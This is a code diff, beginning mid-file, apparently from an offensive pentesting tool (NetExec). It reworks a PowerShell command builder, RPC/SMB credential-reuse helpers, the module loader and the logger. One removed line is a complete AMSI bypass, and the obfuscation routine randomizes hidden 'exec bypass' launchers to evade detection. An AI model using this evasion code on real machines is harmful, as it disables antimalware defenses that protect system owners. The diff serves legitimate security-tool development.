 
 
-
-def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
+def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
     """
     Generates a PowerShell command based on the provided `ps_command` parameter.
 
     Args:
     ----
         ps_command (str): The PowerShell command to be executed.
-
         force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
-
-        dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
-
+        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
         custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
+        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
 
     Returns:
     -------
         str: The generated PowerShell command.
     """
+    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
+
     if custom_amsi:
+        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
             lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
-try{
-[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
-}catch{}
-"""
+        amsi_bypass = ""
 
-    command = amsi_bypass + f"\n$functions = {{\n    function Command-ToExecute\n    {{\n{amsi_bypass + ps_command}\n    }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n    $job | Wait-Job\n}}\nelse\n{{\n    IEX \"$functions\"\n    Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
+    # for readability purposes, we do not do a one-liner
+    if force_ps32:
+        # https://stackoverflow.com/a/60155248
+        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
+    else:
+        command = f"{amsi_bypass} {ps_command}"
 
     nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
-    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
-    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
-    # (https://github.com/GreatSCT/GreatSCT) <3
-
-    """
-    if is_powershell_installed():
-
-        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
-                                           suffix='.ps1',
-                                           dir='/tmp')
-        temp.write(command)
-        temp.read()
-
-        encoding_types = [1,2,3,4,5,6]
-        while True:
-            encoding = random.choice(encoding_types)
-            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
-                                                                                                                                              temp.name,
-                                                                                                                                              encoding)
-            nxc_logger.debug(invoke_obfs_command)
-            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
-
-            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
-            nxc_logger.debug('Command length: {}'.format(len(command)))
-
-            if len(command) <= 8192:
-                temp.close()
-                break
-
-            encoding_types.remove(encoding)
-    
-    else:
-    """
-    if not dont_obfs:
+    if obfs:
+        nxc_logger.debug("Obfuscating PowerShell command")
         obfs_attempts = 0
         while True:
-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
+            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
+            obfs_command = invoke_obfuscation(command)
+
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
             if len(command) <= 8191:
                 break
-
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-
+            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
             obfs_attempts += 1
     else:
-        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
+        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
+        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
+        command = f"powershell.exe -noni -nop -w 1 {command}"
+
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
 
+    nxc_logger.debug(f"Final command: {command}")
     return command
 
 
@@ -320,6 +297,7 @@ def invoke_obfuscation(script_string):
     -------
         str: The obfuscated payload for execution.
     """
+    nxc_logger.debug(f"Command before obfuscation: {script_string}")
     random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
     random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
@@ -436,5 +414,6 @@ def invoke_obfuscation(script_string):
         choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    return choice(invoke_options)
-
+    obfuscated_script = choice(invoke_options)
+    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
+    return obfuscated_script

nxc/helpers/rpc.py

@@ -0,0 +1,132 @@
+import contextlib
+
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+
+
+class NXCRPCConnection:
+    """
+    DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
+    logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
+    """
+    def __init__(self, connection, force_tcp=False):
+        self.connection = connection
+        self.force_tcp = force_tcp
+        self.dce = None
+        self.rpc_transport = None
+
+    def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
+        if string_binding is not None:
+            self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
+        elif self.force_tcp:
+            self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
+        else:
+            self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
+
+        self.dce = self.rpc_transport.get_dce_rpc()
+
+        if self.connection.kerberos and not anonymous_rpc:
+            self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
+        self.dce.connect()
+
+        if auth_level is not None:
+            self.dce.set_auth_level(auth_level)
+
+        self.dce.bind(interface_uuid)
+        return self.dce
+
+    def disconnect(self):
+        if self.dce:
+            with contextlib.suppress(Exception):
+                self.dce.disconnect()
+            self.dce = None
+
+    @property
+    def transport(self):
+        return self.rpc_transport
+
+    def get_smb_connection(self):
+        if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
+            return self.rpc_transport.get_smb_connection()
+        return None
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        self.disconnect()
+        return False
+
+    def setup_credentials(self, rpc_transport, anonymous_rpc=False):
+        conn = self.connection
+        if anonymous_rpc:
+            rpc_transport.set_credentials("", "", "", "", "", "")
+            rpc_transport.set_kerberos(False, None)
+        else:
+            rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
+            if conn.kerberos:
+                rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
+
+    def create_smb_transport(self, named_pipe, target_ip=None):
+        conn = self.connection
+
+        # Create a new SMB conn if we don't have one already or
+        # if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
+        if conn.conn is not None and (target_ip is None or conn.host == target_ip):
+            return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
+        rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
+        if target_ip or conn.host:
+            rpc_transport.setRemoteHost(target_ip or conn.host)
+        return rpc_transport
+
+    def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
+        conn = self.connection
+        target = target_ip or conn.remoteName
+
+        rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
+        rpc_transport.setRemoteHost(target)
+        self.setup_credentials(rpc_transport, anonymous_rpc)
+        return rpc_transport
+
+    def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
+
+        if target_ip is not None:
+            rpc_transport.setRemoteHost(target_ip)
+        elif set_remote_host is not None:
+            rpc_transport.setRemoteHost(set_remote_host)
+
+        self.setup_credentials(rpc_transport, anonymous_rpc)
+        return rpc_transport
+
+
+def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
+    stringBindings = iInterface.get_cinstance().get_string_bindings()
+    for strBinding in stringBindings:
+        if strBinding["wTowerId"] == 7:
+            if strBinding["aNetworkAddr"].find("[") >= 0:
+                binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
+                bindingPort = "[" + bindingPort
+            else:
+                binding = strBinding["aNetworkAddr"]
+                bindingPort = ""
+
+            if binding.upper().find(iInterface.get_target().upper()) >= 0:
+                stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
+                break
+            elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
+                stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
+    if "stringBinding" not in locals():
+        return True, None
+    try:
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(remoteHost)
+        rpctransport.set_connect_timeout(timeout)
+        rpctransport.connect()
+        rpctransport.disconnect()
+    except Exception as e:
+        logger.debug(f"Exception while connecting to {stringBinding}: {e}")
+        return False, stringBinding
+    else:
+        return True, stringBinding

nxc/helpers/smb.py

@@ -0,0 +1,21 @@
+from impacket.smbconnection import SMBConnection
+
+
+def get_smb_connection(context, connection, timeout=3):
+    """SMB session reusing the credentials of the current connection, or None when it cannot be established.
+
+    A certificate-only bind (--schannel) leaves no secret behind, and logging in without
+    one would count as a bad password attempt on the target, so no session is attempted.
+    """
+    if not connection.has_reusable_secret:
+        context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
+        return None
+
+    smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
+    if connection.kerberos:
+        smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
+    elif connection.nthash or connection.lmhash:
+        smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
+    else:
+        smb.login(connection.username, connection.password, connection.domain)
+    return smb

nxc/loaders/moduleloader.py

@@ -1,17 +1,24 @@
+import ast
 import nxc
 import importlib
 import traceback
 import sys
 
 from os import listdir
-from os.path import dirname
+from os.path import basename, dirname
 from os.path import join as path_join
+from types import SimpleNamespace
 
 from nxc.context import Context
+from nxc.helpers.misc import CATEGORY
 from nxc.logger import NXCAdapter
 from nxc.paths import NXC_PATH
 
 
+class ModuleOptionsError(Exception):
+    """Raised when a module aborts the run from options() (returned False)."""
+
+
 class ModuleLoader:
     def __init__(self, args, db, logger):
         self.args = args
@@ -24,44 +31,61 @@ class ModuleLoader:
         if not hasattr(module, "name"):
             self.logger.fail(f"{module_path} missing the name variable")
             module_error = True
+        elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
+            self.logger.fail(f"{module_path} filename must match the module name {module.name}")
+            module_error = True
         elif not hasattr(module, "description"):
             self.logger.fail(f"{module_path} missing the description variable")
             module_error = True
+        elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
+            self.logger.fail(f"{module_path} missing the category variable or invalid category")
+            module_error = True
         elif not hasattr(module, "supported_protocols"):
             self.logger.fail(f"{module_path} missing the supported_protocols variable")
             module_error = True
-        elif not hasattr(module, "opsec_safe"):
-            self.logger.fail(f"{module_path} missing the opsec_safe variable")
-            module_error = True
-        elif not hasattr(module, "multiple_hosts"):
-            self.logger.fail(f"{module_path} missing the multiple_hosts variable")
-            module_error = True
         elif not hasattr(module, "options"):
             self.logger.fail(f"{module_path} missing the options function")
             module_error = True
-        elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
+        elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
             self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
             module_error = True
 
-        if module_error:
-            return False
-        return True
+        return not module_error
+
+    module_cache = {}
+
+    @classmethod
+    def load_module_file(cls, module_path):
+        """Load a module file and return the raw module object with isolated namespace.
+
+        Each module gets a unique name to avoid sys.modules collisions that
+        caused NXCModule class references to be overwritten when loading
+        multiple modules. Results are cached so each file is only parsed
+        and executed once regardless of how many targets are scanned.
+        """
+        if module_path not in cls.module_cache:
+            module_name = f"nxc_module_{basename(module_path)[:-3]}"
+            spec = importlib.util.spec_from_file_location(module_name, module_path)
+            module = importlib.util.module_from_spec(spec)
+            # Register before executing. Modules that define their own impacket
+            # NDRCALL requests rely on impacket resolving the matching Response
+            # class via sys.modules[request.__module__] (rpcrt.py), which the
+            # previous load_module() satisfied implicitly.
+            sys.modules[module_name] = module
+            spec.loader.exec_module(module)
+            cls.module_cache[module_path] = module
+        return cls.module_cache[module_path]
 
     def load_module(self, module_path):
-        """Load a module, initializing it and checking that it has the proper attributes"""
+        """Load and initialize a module, list_modules() already checked that it has the proper attributes"""
         try:
-            spec = importlib.util.spec_from_file_location("NXCModule", module_path)
-            module = spec.loader.load_module().NXCModule()
-
-            if self.module_is_sane(module, module_path):
-                return module
+            return self.load_module_file(module_path).NXCModule()
         except Exception as e:
             self.logger.fail(f"Failed loading module at {module_path}: {e}")
             self.logger.debug(traceback.format_exc())
 
     def init_module(self, module_path):
         """Initialize a module for execution"""
-        module = None
         module = self.load_module(module_path)
 
         if module:
@@ -79,7 +103,8 @@ class ModuleLoader:
                     key, value = option.split("=", 1)
                     module_options[str(key).upper()] = value
 
-                module.options(context, module_options)
+                if module.options(context, module_options) is False:
+                    raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
                 return module
             else:
                 self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -88,17 +113,15 @@ class ModuleLoader:
     def get_module_info(self, module_path):
         """Get the path, description, and options from a module"""
         try:
-            spec = importlib.util.spec_from_file_location("NXCModule", module_path)
-            module_spec = spec.loader.load_module().NXCModule
+            module_spec = self.load_module_file(module_path).NXCModule
 
             module = {
-                f"{module_spec.name.lower()}": {
+                f"{module_spec.name}": {
                     "path": module_path,
                     "description": module_spec.description,
                     "options": module_spec.options.__doc__,
                     "supported_protocols": module_spec.supported_protocols,
-                    "opsec_safe": module_spec.opsec_safe,
-                    "multiple_hosts": module_spec.multiple_hosts,
+                    "category": module_spec.category,
                     "requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
                 }
             }
@@ -108,8 +131,28 @@ class ModuleLoader:
             self.logger.fail(f"Failed loading module at {module_path}: {e}")
             self.logger.debug(traceback.format_exc())
 
-    def list_modules(self):
-        """List modules without initializing them"""
+    def get_module_info_static(self, module_path):
+        """Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
+        try:
+            with open(module_path, "rb") as f:
+                module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
+
+            # ast can't see what a base class or a decorator adds, so these modules are imported
+            if not module_class.bases and not module_class.decorator_list:
+                values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
+                module = SimpleNamespace(
+                    **{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
+                    **{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
+                    category=CATEGORY[values["category"].attr],
+                )
+                # No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
+                return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
+        except Exception as e:
+            self.logger.debug(f"Could not read {module_path} statically: {e}")
+        return self.get_module_info(module_path)
+
+    def list_modules(self, names=None):
+        """List modules without initializing them, only the ones in names if given"""
         modules = {}
         modules_paths = [
             path_join(dirname(nxc.__file__), "modules"),
@@ -118,10 +161,11 @@ class ModuleLoader:
 
         for path in modules_paths:
             for module in listdir(path):
-                if module[-3:] == ".py" and module != "example_module.py":
+                if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
                     try:
                         module_path = path_join(path, module)
-                        module_data = self.get_module_info(module_path)
+                        # -L reads the shipped modules statically, user modules are still imported so a broken one is reported
+                        module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
                         modules.update(module_data)
                     except Exception as e:
                         self.logger.debug(f"Error loading module {module}: {e}")

nxc/loaders/protocolloader.py

@@ -2,14 +2,12 @@ from types import ModuleType
 from importlib.machinery import SourceFileLoader
 from os import listdir
 from os.path import join as path_join
-from os.path import dirname, exists, expanduser
+from os.path import dirname, exists
+
 import nxc
 
 
 class ProtocolLoader:
-    def __init__(self):
-        self.nxc_path = expanduser("~/.nxc")
-
     def load_protocol(self, protocol_path):
         loader = SourceFileLoader("protocol", protocol_path)
         protocol = ModuleType(loader.name)
@@ -18,27 +16,22 @@ class ProtocolLoader:
 
     def get_protocols(self):
         protocols = {}
-        protocol_paths = [
-            path_join(dirname(nxc.__file__), "protocols"),
-            path_join(self.nxc_path, "protocols"),
-        ]
 
-        for path in protocol_paths:
-            for protocol in listdir(path):
-                if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
-                    protocol_path = path_join(path, protocol)
-                    protocol_name = protocol[:-3]
+        proto_path = path_join(dirname(nxc.__file__), "protocols")
+        for protocol in listdir(proto_path):
+            if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
+                protocol_path = path_join(proto_path, protocol)
+                protocol_name = protocol[:-3]
 
-                    protocols[protocol_name] = {"path": protocol_path}
-
-                    db_file_path = path_join(path, protocol_name, "database.py")
-                    db_nav_path = path_join(path, protocol_name, "db_navigator.py")
-                    protocol_args_path = path_join(path, protocol_name, "proto_args.py")
-                    if exists(db_file_path):
-                        protocols[protocol_name]["dbpath"] = db_file_path
-                    if exists(db_nav_path):
-                        protocols[protocol_name]["nvpath"] = db_nav_path
-                    if exists(protocol_args_path):
-                        protocols[protocol_name]["argspath"] = protocol_args_path
+                protocols[protocol_name] = {"path": protocol_path}
 
+                db_file_path = path_join(proto_path, protocol_name, "database.py")
+                db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
+                protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
+                if exists(db_file_path):
+                    protocols[protocol_name]["dbpath"] = db_file_path
+                if exists(db_nav_path):
+                    protocols[protocol_name]["nvpath"] = db_nav_path
+                if exists(protocol_args_path):
+                    protocols[protocol_name]["argspath"] = protocol_args_path
         return protocols

nxc/logger.py

@@ -3,37 +3,112 @@ from logging import LogRecord
 from logging.handlers import RotatingFileHandler
 import os.path
 import sys
-import re
-from nxc.helpers.misc import called_from_cmd_args
 from nxc.console import nxc_console
+from nxc.paths import NXC_PATH
 from termcolor import colored
 from datetime import datetime
 from rich.text import Text
 from rich.logging import RichHandler
+import functools
+import inspect
+import argparse
+
+
+def parse_debug_args():
+    debug_parser = argparse.ArgumentParser(add_help=False)
+    debug_parser.add_argument("--debug", action="store_true")
+    debug_parser.add_argument("--verbose", action="store_true")
+    args, _ = debug_parser.parse_known_args()
+    return args
+
+
+def setup_debug_logging():
+    debug_args = parse_debug_args()
+    root_logger = logging.getLogger("root")
+
+    if debug_args.verbose:
+        nxc_logger.logger.setLevel(logging.INFO)
+        root_logger.setLevel(logging.INFO)
+    elif debug_args.debug:
+        nxc_logger.logger.setLevel(logging.DEBUG)
+        root_logger.setLevel(logging.DEBUG)
+    else:
+        nxc_logger.logger.setLevel(logging.ERROR)
+        root_logger.setLevel(logging.ERROR)
+
+
+def create_temp_logger(caller_frame, formatted_text, args, kwargs):
+    """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
+    temp_logger = logging.getLogger("temp")
+    formatter = logging.Formatter("%(message)s", datefmt="[%X]")
+    handler = SmartDebugRichHandler(formatter=formatter)
+    handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
+
+
+class SmartDebugRichHandler(RichHandler):
+    """Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
+
+    def __init__(self, formatter=None, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        if formatter is not None:
+            self.setFormatter(formatter)
+
+    def emit(self, record):
+        """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
+        if hasattr(record, "caller_frame"):
+            frame_info = inspect.getframeinfo(record.caller_frame)
+            record.pathname = frame_info.filename
+            record.lineno = frame_info.lineno
+        super().emit(record)
+
+
+def no_debug(func):
+    """Stops logging non-debug messages when we are in debug mode
+    It creates a temporary logger and logs the message to the console and file
+    This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
+    """
+    @functools.wraps(func)
+    def wrapper(self, msg, *args, **kwargs):
+        if self.logger.getEffectiveLevel() >= logging.INFO:
+            return func(self, msg, *args, **kwargs)
+        else:
+            formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
+            caller_frame = inspect.currentframe().f_back
+            create_temp_logger(caller_frame, formatted_text, args, kwargs)
+            self.log_console_to_file(formatted_text, *args, **kwargs)
+    return wrapper
 
 
 class NXCAdapter(logging.LoggerAdapter):
-    def __init__(self, extra=None):
+    def __init__(self, extra=None, merge_extra=False):
         logging.basicConfig(
             format="%(message)s",
             datefmt="[%X]",
-            handlers=[
-                RichHandler(
-                    console=nxc_console,
-                    rich_tracebacks=True,
-                    tracebacks_show_locals=False,
-                )
-            ],
+            handlers=[RichHandler(
+                console=nxc_console,
+                rich_tracebacks=True,
+                tracebacks_show_locals=False
+            )],
+            encoding="utf-8"
         )
         self.logger = logging.getLogger("nxc")
         self.extra = extra
+        self.merge_extra = merge_extra
         self.output_file = None
 
+        logging.getLogger("impacket").disabled = True
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
+        logging.getLogger("dploot").disabled = True
+        logging.getLogger("certipy").disabled = True
+        logging.getLogger("aardwolf").disabled = True
+        logging.getLogger("unicrypto").disabled = True
+        logging.getLogger("asyncio").setLevel(logging.ERROR)
+        logging.getLogger("neo4j").setLevel(logging.ERROR)
+        logging.getLogger("pypsrp").setLevel(logging.ERROR)
 
-    def format(self, msg, *args, **kwargs):  # noqa: A003
+    def format(self, msg, *args, **kwargs):
         """Format msg for output
 
         This is used instead of process() since process() applies to _all_ messages, including debug calls
@@ -41,77 +116,45 @@ class NXCAdapter(logging.LoggerAdapter):
         if self.extra is None:
             return f"{msg}", kwargs
 
-        if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
+        if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
             self.extra["module_name"] = self.extra["module_name"][:8] + "..."
 
         # If the logger is being called when hooking the 'options' module function
         if len(self.extra) == 1 and ("module_name" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
-                kwargs,
-            )
-
-        # If the logger is being called from nxcServer
-        if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
-                kwargs,
-            )
+            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
 
         # If the logger is being called from a protocol
         module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
 
-        return (
-            f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
-            kwargs,
-        )
+        return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
 
+    @no_debug
     def display(self, msg, *args, **kwargs):
         """Display text to console, formatted for nxc"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def success(self, msg, color="green", *args, **kwargs):
-        """Print some sort of success to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
+        """Prints some sort of success to the user"""
         msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def highlight(self, msg, *args, **kwargs):
         """Prints a completely yellow highlighted message to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def fail(self, msg, color="red", *args, **kwargs):
         """Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
         msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
@@ -123,43 +166,35 @@ class NXCAdapter(logging.LoggerAdapter):
         If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
         so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
         """
-        if self.logger.getEffectiveLevel() >= logging.INFO:
-            # will be 0 if it's just the console output, so only do this if we actually have file loggers
-            if len(self.logger.handlers):
-                try:
-                    for handler in self.logger.handlers:
-                        handler.handle(
-                            LogRecord(
-                                "nxc",
-                                20,
-                                "",
-                                kwargs,
-                                msg=text,
-                                args=args,
-                                exc_info=None,
-                            )
-                        )
-                except Exception as e:
-                    self.logger.fail(f"Issue while trying to custom print handler: {e}")
-        else:
-            self.logger.info(text)
+        caller_frame = inspect.currentframe().f_back.f_back.f_back
+        if len(self.logger.handlers):  # will be 0 if it's just the console output, so only do this if we actually have file loggers
+            try:
+                for handler in self.logger.handlers:
+                    handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
+            except Exception as e:
+                self.logger.fail(f"Issue while trying to custom print handler: {e}")
 
     def add_file_log(self, log_file=None):
-        file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
+        file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
         output_file = self.init_log_file() if log_file is None else log_file
         file_creation = False
 
         if not os.path.isfile(output_file):
-            open(output_file, "x")  # noqa: SIM115
+            try:
+                with open(output_file, "x"):
+                    pass
+            except FileNotFoundError:
+                print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
+                exit(1)
             file_creation = True
 
-        file_handler = RotatingFileHandler(output_file, maxBytes=100000)
+        file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
 
         with file_handler._open() as f:
             if file_creation:
-                f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
+                f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
             else:
-                f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
+                f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
 
         file_handler.setFormatter(file_formatter)
         self.logger.addHandler(file_handler)
@@ -167,28 +202,15 @@ class NXCAdapter(logging.LoggerAdapter):
 
     @staticmethod
     def init_log_file():
-        newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
-        if not os.path.exists(newpath):
-            os.makedirs(newpath)
+        newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
